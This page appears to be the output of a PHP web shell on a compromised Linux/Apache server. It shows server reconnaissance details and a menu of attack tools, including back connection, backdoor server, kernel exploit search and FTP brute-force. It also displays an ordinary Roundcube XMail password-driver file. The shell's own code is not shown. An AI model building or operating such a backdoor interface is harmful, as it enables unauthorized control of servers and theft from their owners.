|
System | : | Linux MiraNet 3.0.0-14-generic-pae #23-Ubuntu SMP Mon Nov 21 22:07:10 UTC 2011 i686 |
Software | : | Apache. PHP/5.3.6-13ubuntu3.10 |
ID | : | uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
|
|
Safe Mode | : | OFF |
Open_Basedir | : | OFF |
Freespace | : | 25.38 GB of 70.42 GB (36.04%) |
|
MySQL: ON MSSQL: OFF Oracle: OFF PostgreSQL: OFF Curl: OFF Sockets: ON Fetch: OFF Wget: ON Perl: ON |
Disabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
|
[ System Info ]
[ Processes ]
[ SQL Manager ]
[ Eval ]
[ Encoder ]
[ Mailer ]
[ Back Connection ]
[ Backdoor Server ]
[ Kernel Exploit Search ]
[ MD5 Decrypter ]
[ Reverse IP ]
[ Kill Shell ]
[ FTP Brute-Force ]
|
|
/
http/
mail.1/
plugins/
password/
drivers/
- drwxr-xr-x
|
Viewing file: xmail.php (2.71 KB) -rw-r--r--Select action/file-type:  ( +) |  ( +) |  ( +) | Code ( +) | Session ( +) |  ( +) | SDB ( +) |  ( +) |  ( +) |  ( +) |  ( +) |  ( +) |
<?php /** * XMail Password Driver * * Driver for XMail password * * @version 1.0 * @author Helio Cavichiolo Jr <helio@hcsistemas.com.br> * * Setup xmail_host, xmail_user, xmail_pass and xmail_port into * config.inc.php of password plugin as follows: * * $rcmail_config['xmail_host'] = 'localhost'; * $rcmail_config['xmail_user'] = 'YourXmailControlUser'; * $rcmail_config['xmail_pass'] = 'YourXmailControlPass'; * $rcmail_config['xmail_port'] = 6017; * */
function password_save($currpass, $newpass) { $rcmail = rcmail::get_instance(); list($user,$domain) = explode('@', $_SESSION['username']);
$xmail = new XMail;
$xmail->hostname = $rcmail->config->get('xmail_host'); $xmail->username = $rcmail->config->get('xmail_user'); $xmail->password = $rcmail->config->get('xmail_pass'); $xmail->port = $rcmail->config->get('xmail_port');
if (!$xmail->connect()) { raise_error(array( 'code' => 600, 'type' => 'php', 'file' => __FILE__, 'line' => __LINE__, 'message' => "Password plugin: Unable to connect to mail server" ), true, false); return PASSWORD_CONNECT_ERROR; } else if (!$xmail->send("userpasswd\t".$domain."\t".$user."\t".$newpass."\n")) { $xmail->close(); raise_error(array( 'code' => 600, 'type' => 'php', 'file' => __FILE__, 'line' => __LINE__, 'message' => "Password plugin: Unable to change password" ), true, false); return PASSWORD_ERROR; } else { $xmail->close(); return PASSWORD_SUCCESS; } }
class XMail { var $socket; var $hostname = 'localhost'; var $username = 'xmail'; var $password = ''; var $port = 6017;
function send($msg) { socket_write($this->socket,$msg); if (substr($in = socket_read($this->socket, 512, PHP_BINARY_READ),0,1) != "+") { return false; } return true; }
function connect() { $this->socket = socket_create(AF_INET, SOCK_STREAM, 0); if ($this->socket < 0) return false;
$result = socket_connect($this->socket, $this->hostname, $this->port); if ($result < 0) { socket_close($this->socket); return false; }
if (substr($in = socket_read($this->socket, 512, PHP_BINARY_READ),0,1) != "+") { socket_close($this->socket); return false; }
if (!$this->send("$this->username\t$this->password\n")) { socket_close($this->socket); return false; } return true; }
function close() { $this->send("quit\n"); socket_close($this->socket); } }
|